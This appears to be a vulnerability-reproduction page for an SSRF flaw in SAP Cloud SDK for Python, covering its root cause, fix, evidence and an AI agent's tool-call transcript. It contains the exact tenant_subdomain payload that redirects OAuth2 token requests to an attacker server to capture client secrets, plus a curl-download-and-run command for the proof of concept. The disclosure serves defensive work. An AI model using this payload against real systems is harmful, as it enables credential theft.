Skip to content

CVE-2026-89111: Verified Reproduction

CVE-2026-89111: SAP Cloud SDK for Python is vulnerable to OAuth2 SSRF that can exfiltrate client credentials when tenant subdomain is attacker-controlled.

CVE-2026-89111 is verified against SAP/cloud-sdk-python · PyPI. Affected versions: < 0.45.2 (includes 0.36.1 and 0.36.2 which lack the check). Fixed in 0.45.2. Vulnerability class: SSRF. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00387.

REPRO-2026-00387 SAP/cloud-sdk-python · PyPI SSRF Oct 15, 2026 CVE entry .txt
Severity
CRITICAL
CVSS
10.0
Confidence
HIGH
Reproduced in
40m 24s
Tool calls
155
Spend
$2.82
01 · Overview

What Is CVE-2026-89111?

CVE-2026-89111 is a critical-severity SSRF vulnerability affecting SAP/cloud-sdk-python < 0.45.2 (includes 0.36.1 and 0.36.2 which lack the check). Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00387).

02 · Severity & CVSS

CVE-2026-89111 Severity & CVSS Score

CVE-2026-89111 is rated critical severity, with a CVSS base score of 10.0 out of 10.

CRITICAL threat level
10.0 / 10 CVSS base
Weakness CWE-918 Server-Side Request Forgery (SSRF) — Server-Side Request Forgery (SSRF)

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

03 · Affected Versions

Affected SAP/cloud-sdk-python Versions

SAP/cloud-sdk-python · PyPI versions < 0.45.2 (includes 0.36.1 and 0.36.2 which lack the check) are affected.

How to Reproduce CVE-2026-89111

$ pruva-verify REPRO-2026-00387
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00387/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-89111

Server-side request forgery — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

tenant_subdomain parameter passed to TokenProvider.get_token()

Attack chain
  1. sap_cloud_sdk.destination._http.TokenProvider.get_token()
  2. token_url.replace(identityzone, tenant_subdomain)
  3. OAuth2Session.fetch_token() to attacker host
How the agent worked 326 events · 155 tool calls · 40 min
40 minDuration
155Tool calls
65Reasoning steps
326Events
5Dead-ends
Agent activity over 40 min
Policy
1
Support
11
Repro
140
Judge
26
Variant
143
Verify
1
0:0039:53

Root Cause and Exploit Chain for CVE-2026-89111

Versions: < 0.45.2; patched in 0.45.2.

server-side request forgery (SSRF) vulnerability in its multi-tenant token handling. When a caller supplies a tenant_subdomain, the SDK derives the per-tenant OAuth2 token URL by performing an unvalidated string replacement of the provider identity zone inside the configured token URL (token_url.replace(identityzone, tenant_subdomain)). An attacker who controls tenant_subdomain can therefore rewrite the token endpoint host to an attacker-controlled server, causing the SDK to POST the OAuth2 client_id/client_secret to the attacker — credential exfiltration.

(the same pattern was also fixed in sap_cloud_sdk/dms/_auth.py and sap_cloud_sdk/agentgateway/agw_client.py).

  • Affected versions: < 0.45.2; patched in 0.45.2.
  • Risk: Critical (CVSS 10.0, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, CWE-918). Consequences: theft of OAuth2 client credentials for the BTP Destination/DMS/Agent-Gateway service bindings, enabling downstream unauthorized access within the client's roles and scopes.

Impact Parity

  • Disclosed/claimed maximum impact: SSRF with OAuth2 client-credential exfiltration to an attacker-controlled server.
  • Reproduced impact from this run: full SSRF with credential exfiltration — the vulnerable SDK (0.45.1) sent a live POST containing client_id and client_secret to the attacker-controlled HTTPS server and accepted the attacker-issued access token.
  • Parity: full.
  • Not demonstrated: none beyond the claim (no code execution is claimed or required; the impact class is SSRF / credential disclosure).

Root Cause

In sap_cloud_sdk/destination/_http.py (vulnerable 0.45.1), TokenProvider.get_token() contains:

if tenant_subdomain:
    try:
        token_url = token_url.replace(str(identityzone), tenant_subdomain)
    except Exception:
        token_url = self._config.token_url

tenant_subdomain is concatenated into the URL without any validation. With a configured provider token URL such as https://provider-zone.authentication.eu10.hana.ondemand.com/oauth/token (identityzone = "provider-zone"), an attacker value of 127.0.0.1:<port>/capture? produces https://127.0.0.1:<port>/capture?.authentication.eu10.hana.ondemand.com/oauth/token — the host becomes the attacker's server and the remainder of the legitimate URL is demoted into the query string. The subsequent OAuth2Session.fetch_token() then POSTs grant_type=client_credentials&client_id=...&client_secret=... to the attacker.

The same unvalidated replace() pattern existed in sap_cloud_sdk/dms/_auth.py::_resolve_token_url() and the agent-gateway client's tenant subdomain handling.

Fix (0.45.2): a new module sap_cloud_sdk/core/_tenant.py adds _validate_tenant_subdomain(), which enforces a single RFC 1123 DNS label (^[A-Za-z0-9](?:[A-Za-z0-9\-]{0,61}[A-Za-z0-9])?$) and raises ValueError before any URL substitution, in all three affected call sites. Advisory: GHSA-4mv3-jxxm-9cx2 (https://github.com/SAP/cloud-sdk-python/security/advisories/GHSA-4mv3-jxxm-9cx2).

Reproduction Steps

  1. bundle/repro/reproduction_steps.sh (helpers: bundle/repro/attacker_server.py, bundle/repro/harness.py).
  2. The script:
    • downloads the pinned PyPI wheels sap-cloud-sdk==0.45.1 (vulnerable) and sap-cloud-sdk==0.45.2 (fixed) and records their SHA-256;
    • creates a venv and installs the vulnerable wheel with its real dependency tree;
    • starts an attacker-controlled HTTPS capture server (attacker_server.py, self-signed cert trusted via REQUESTS_CA_BUNDLE) that logs every inbound request and answers with a valid token response;
    • runs harness.py, which calls the real TokenProvider.get_token(tenant_subdomain="127.0.0.1:<port>/capture?");
    • verifies the captured request contains the client credentials;
    • force-reinstalls 0.45.2 and repeats: the fixed SDK must raise ValueError: Invalid tenant_subdomain and send nothing.
  3. Expected evidence: proof_vuln_capture.jsonl contains a POST whose body includes client_secret=TOP-SECRET-CLIENT-SECRET, and the vulnerable harness returns ATTACKER_ISSUED_TOKEN; the fixed harness reports rejected and proof_fixed_capture.jsonl is empty.

Evidence

  • bundle/logs/reproduction_steps.log — full run transcript.
  • bundle/logs/proof_vuln_capture.jsonl — attacker-server capture of the credential-bearing POST, e.g.: POST /capture?.authentication.eu10.hana.ondemand.com/oauth/token with body grant_type=client_credentials&client_id=sb-destination-client%21t0&client_secret=TOP-SECRET-CLIENT-SECRET (Host: 127.0.0.1:<port> — attacker server, not the SAP endpoint).
  • bundle/logs/harness_vuln_result.json — {"sdk_version": "0.45.1", "status": "token_returned", "token": "ATTACKER_ISSUED_TOKEN"}.
  • bundle/logs/harness_fixed_result.json — {"sdk_version": "0.45.2", "status": "rejected", "error": "Invalid tenant_subdomain: '127.0.0.1:<port>/capture?'"}.
  • bundle/logs/proof_fixed_capture.jsonl — empty (no outbound request).
  • bundle/repro/runtime_manifest.json — entrypoint, target identity (wheel SHA-256), and per-artifact SHA-256 hashes.
  • Environment: Python 3.14 venv, real sap-cloud-sdk wheels from PyPI, OpenSSL 3.5.5 self-signed cert for the attacker HTTPS endpoint.

Recommendations / Next Steps

  • Upgrade to sap-cloud-sdk >= 0.45.2 (and prefer a currently validated release; independent reporting noted validation gaps in 0.53.0–0.55.0 with validation restored in 0.55.1).
  • The 0.45.2 fix approach (RFC 1123 label validation before substitution) is correct; defense-in-depth would additionally rebuild the URL by replacing only the hostname subcomponent instead of a free-text str.replace over the whole URL.
  • Applications should validate tenant_subdomain against an allowlist of registered tenants and monitor/alert on outbound token requests to unexpected hosts; rotate credentials suspected of exposure.

Additional Notes

  • Idempotency: the script reuses its venv/wheels/certs when present and re-verifies versions each run; it was executed twice consecutively, both runs RESULT: CONFIRMED (exit 0).
  • The lab uses https://127.0.0.1:<port> as the attacker host with a self-signed cert trusted only inside the test process (REQUESTS_CA_BUNDLE), keeping the OAuth2 transport HTTPS exactly as in production (oauthlib enforces HTTPS; no security feature was disabled).
  • The vulnerable surface is a library API (claimed_surface=library_api, entrypoint_kind=function_call), so a direct call into the real installed SDK is the production code path; no mock or reimplementation is used.

CVE-2026-89111 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:003:14
0:00
session startedaccounts/fireworks/models/kimi-k3 · CVE-2026-89111 · REPRO-20
0:07
0:09
web search
0:20
0:22
web search
1:18
1:18
extract_facts
no facts extracted
1:20
1:20
supportclaim_contract
1:28
1:29
1:29
1:33
1:33
1:33
1:50
1:50
$ls -la /pruva/project-cache/ 2>/dev/null; cat /pruva/project-cache/.pruva/cache_manifest.json 2>/dev/null; ls /pruva/project-cache/repo-mirrors 2>/dev/null
0.4s✓
total 4
drwx------ 4 vscode vscode   80 Oct 15 12:56 .
drwxr-xr-x 3 root   root   4096 Oct 15 12:56 ..
drwx------ 2 vscode vscode   60 Oct 15 12:56 .pruva
drwx------ 2 vscode vscode   40 Oct 15 12:56 repo-mirrors
{
  "schema_version": 1,
  "entries": [
1:52
web search
2:09
2:11
$pip download 'sap-cloud-sdk==0.45.2' --no-deps -d /tmp/sdk-fixed 2>&1 | tail -3; pip download 'sap-cloud-sdk<0.45.2' --no-deps -d /tmp/sdk-vuln 2>&1 | tail -3; pip index versions sap-cloud-sdk 2>&1 | head -5
2.1s✓
{"cwd":"/workspace","duration_ms":1656,"exit_code":0,"stderr":"","stdout":"   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 531.0/531.0 kB 5.5 MB/s eta 0:00:00\nSaved /tmp/sdk-fixed/sap_cloud_sdk-0.45.2-py3-none-any.whl\nSuccessfully downloaded sap-cloud-sdk\n   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 530.4/530.4 kB 6.7 MB/s eta 0:00:00\nSaved /tmp/sdk-vuln/sap_cloud_sdk-0.45.1-py3-none-any.whl\nSuccessfully downloaded sap-cloud-sdk\nsap-cloud-sdk (0.58.5)\nAvailable versions: 0.58.5, 0.58.4, 0.58.3, 0.58.2, 0.58.1, 0.58.0, 0.57.2, 0.57.1, 0.57.0, 0.56.0, 0.55.3, 0.55.2, 0.55.1, 0.55.0, 0.54.0, 0.53.3, 0.53.2, 0.53.1, 0.53.0, 0.52.2, 0.52.1, 0.52.0, 0.51.1, 0.51.0, 0.50.0, 0.49.2, 0.49.1, 0.49.0, 0.48.2, 0.48.1, 0.48.0, 0.47.0, 0.46.1, 0.46.0, 0.45.4, 0.45.3, 0.45.2, 0.45.1, 0.45.0, 0.44.0, 0.43.2, 0.43.0, 0.42.0, 0.41.0, 0.40.1, 0.40.0, 0.39.1, 0.39.0, 0.38.0, 0.37.0, 0.36.2, 0.36.1, 0.36.0, 0.35.0, 0.34.0, 0.33.2, 0.33.1, 0.33.0, 0.32.1, 0.32.0, 0.31.0, 0.30.0, 0.29.1, 0.29.0, 0.28.1, 0.28.0, 0.27.1, 0.27.0, 0.26.1, 0.26.0, 0.25.2, 0.25.1, 0.25.0, 0.24.0, 0.23.2, 0.23.1, 0.23.0, 0.22.0, 0.21.1, 0.21.0, 0.20.2, 0.20.1, 0.20.0, 0.19.3, 0.19.2, 0.19.1, 0.19.0, 0.18.4, 0.18.3, 0.18.2, 0.… [truncated]
2:13
web search
2:19
2:20
$cd /tmp && mkdir -p vuln fixed && cd vuln && unzip -oq /tmp/sdk-vuln/*.whl && cd ../fixed && unzip -oq /tmp/sdk-fixed/*.whl && cd /tmp && diff -rq vuln fixed | grep -v '.dist-info' | head -30
0.4s✓
Files vuln/sap_cloud_sdk/agentgateway/agw_client.py and fixed/sap_cloud_sdk/agentgateway/agw_client.py differ
Files vuln/sap_cloud_sdk/agentgateway/user-guide.md and fixed/sap_cloud_sdk/agentgateway/user-guide.md differ
Only in fixed/sap_cloud_sdk/core: _tenant.py
Files vuln/sap_cloud_sdk/core/telemetry/user-guide.md and fixed/sap_cloud_sdk/core/telemetry/user-guide.md differ
Files vuln/sap_cloud_sdk/destination/_http.py and fixed/sap_cloud_sdk/destination/_http.py differ
Files vuln/sap_cloud_sdk/dms/_auth.py and fixed/sap_cloud_sdk/dms/_auth.py differ
Files vuln/sap_cloud_sdk/outputmanagement/user-guide.md and fixed/sap_cloud_sdk/outputmanagement/user-guide.md differ
2:25
$cd /tmp && cat fixed/sap_cloud_sdk/core/_tenant.py; echo '===DIFF destination/_http.py==='; diff -u vuln/sap_cloud_sdk/destination/_http.py fixed/sap_cloud_sdk/destination/_http.py | head -120
0.5s✓
{"cwd":"/workspace","duration_ms":55,"exit_code":0,"stderr":"","stdout":"import re\n\n\n_SUBDOMAIN_RE = re.compile(r\"^[A-Za-z0-9](?:[A-Za-z0-9\\-]{0,61}[A-Za-z0-9])?$\")\n\n\ndef _validate_tenant_subdomain(tenant_subdomain: str | None) -> None:\n    \"\"\"Validate that *tenant_subdomain* is a single RFC 1123 DNS label.\n\n    A valid label contains only ASCII letters, digits, and hyphens, must not\n    start or end with a hyphen, and is at most 63 characters long.\n    If *tenant_subdomain* is ``None``, the call is a no-op.\n\n    Raises:\n        ValueError: If *tenant_subdomain* does not match the expected format.\n    \"\"\"\n    if tenant_subdomain is None:\n        return\n    if not _SUBDOMAIN_RE.fullmatch(tenant_subdomain):\n        raise ValueError(f\"Invalid tenant_subdomain: {tenant_subdomain!r}\")\n===DIFF destination/_http.py===\n--- vuln/sap_cloud_sdk/destination/_http.py\t2020-02-02 00:00:00.000000000 +0000\n+++ fixed/sap_cloud_sdk/destination/_http.py\t2020-02-02 00:00:00.000000000 +0000\n@@ -18,6 +18,7 @@\n \n from sap_cloud_sdk.destination.config import DestinationConfig\n from sap_cloud_sdk.destination.exceptions import HttpError\n+from sap_cloud_sdk.core._tenant… [truncated]
2:39
2:47
$cd /tmp && sed -n '1,130p' vuln/sap_cloud_sdk/destination/_http.py
7.5s✓
{"cwd":"/workspace","duration_ms":28,"exit_code":0,"stderr":"","stdout":"\"\"\"Simplified HTTP and OAuth utilities for Destination Service.\n\nInitial version: no retries and no explicit timeouts.\n- TokenProvider: OAuth2 client-credentials (no caching).\n- DestinationHttp: Single-shot HTTP requests, adds Authorization header.\n\"\"\"\n\nfrom __future__ import annotations\n\nfrom typing import Any, Dict, Optional\nfrom enum import Enum\n\nimport requests\nfrom requests import Response\nfrom requests.exceptions import RequestException\nfrom oauthlib.oauth2 import BackendApplicationClient\nfrom requests_oauthlib import OAuth2Session\n\nfrom sap_cloud_sdk.destination.config import DestinationConfig\nfrom sap_cloud_sdk.destination.exceptions import HttpError\n\n# API version constants\nAPI_V1 = \"v1\"\nAPI_V2 = \"v2\"\n\n\nclass HttpMethod(Enum):\n    \"\"\"HTTP method enumeration for request verb selection.\"\"\"\n\n    GET = \"GET\"\n    POST = \"POST\"\n    PUT = \"PUT\"\n    PATCH = \"PATCH\"\n    DELETE = \"DELETE\"\n\n\nclass TokenProvider:\n    \"\"\"Provides OAuth2 access tokens with in-memory caching and proactive refresh.\"\"\"\n\n    def __init__(self, config: DestinationCon… [truncated]
2:49
$cd /tmp && diff -u vuln/sap_cloud_sdk/dms/_auth.py fixed/sap_cloud_sdk/dms/_auth.py | head -80; echo '===AGW==='; diff -u vuln/sap_cloud_sdk/agentgateway/agw_client.py fixed/sap_cloud_sdk/agentgateway/agw_client.py | head -80
0.5s✓
{"cwd":"/workspace","duration_ms":52,"exit_code":0,"stderr":"","stdout":"--- vuln/sap_cloud_sdk/dms/_auth.py\t2020-02-02 00:00:00.000000000 +0000\n+++ fixed/sap_cloud_sdk/dms/_auth.py\t2020-02-02 00:00:00.000000000 +0000\n@@ -10,6 +10,7 @@\n     DMSPermissionDeniedException,\n )\n from sap_cloud_sdk.dms.model import DMSCredentials\n+from sap_cloud_sdk.core._tenant import _validate_tenant_subdomain\n \n logger = logging.getLogger(__name__)\n \n@@ -65,6 +66,8 @@\n     def _resolve_token_url(self, tenant_subdomain: Optional[str]) -> str:\n         if not tenant_subdomain:\n             return self._credentials.token_url\n+        _validate_tenant_subdomain(tenant_subdomain)\n+\n         logger.debug(\"Resolving token URL for tenant '%s'\", tenant_subdomain)\n         return self._credentials.token_url.replace(\n             self._credentials.identityzone,\n===AGW===\n--- vuln/sap_cloud_sdk/agentgateway/agw_client.py\t2020-02-02 00:00:00.000000000 +0000\n+++ fixed/sap_cloud_sdk/agentgateway/agw_client.py\t2020-02-02 00:00:00.000000000 +0000\n@@ -37,6 +37,7 @@\n     MCPTool,\n     MCPToolFilter,\n )\n+from sap_cloud_sdk.core._tenant import _validate_tenant_subdomain\n from sap_cloud_sdk… [truncated]
3:14
08 · How to Fix

How to Fix CVE-2026-89111

Upgrade SAP/cloud-sdk-python · PyPI to 0.45.2 or later.

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-89111 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-89111

Is CVE-2026-89111 exploitable?

Yes. Pruva independently reproduced CVE-2026-89111 in SAP/cloud-sdk-python and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00387).

How severe is CVE-2026-89111?

CVE-2026-89111 is rated critical severity, with a CVSS score of 10.0 out of 10.

What type of vulnerability is CVE-2026-89111?

CVE-2026-89111 is classified as CWE-918 Server-Side Request Forgery (SSRF) (Server-Side Request Forgery (SSRF)), a SSRF vulnerability.

Which versions of SAP/cloud-sdk-python are affected by CVE-2026-89111?

SAP/cloud-sdk-python < 0.45.2 (includes 0.36.1 and 0.36.2 which lack the check) is affected by CVE-2026-89111.

Is there a fix for CVE-2026-89111?

Yes. CVE-2026-89111 is fixed in SAP/cloud-sdk-python 0.45.2. Upgrading to the fixed version remediates the issue.

How can I reproduce CVE-2026-89111?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the CVE-2026-89111 reproduction verified?

Yes. Pruva reproduced CVE-2026-89111 with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for CVE-2026-89111

Authoritative sources for CVE-2026-89111 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.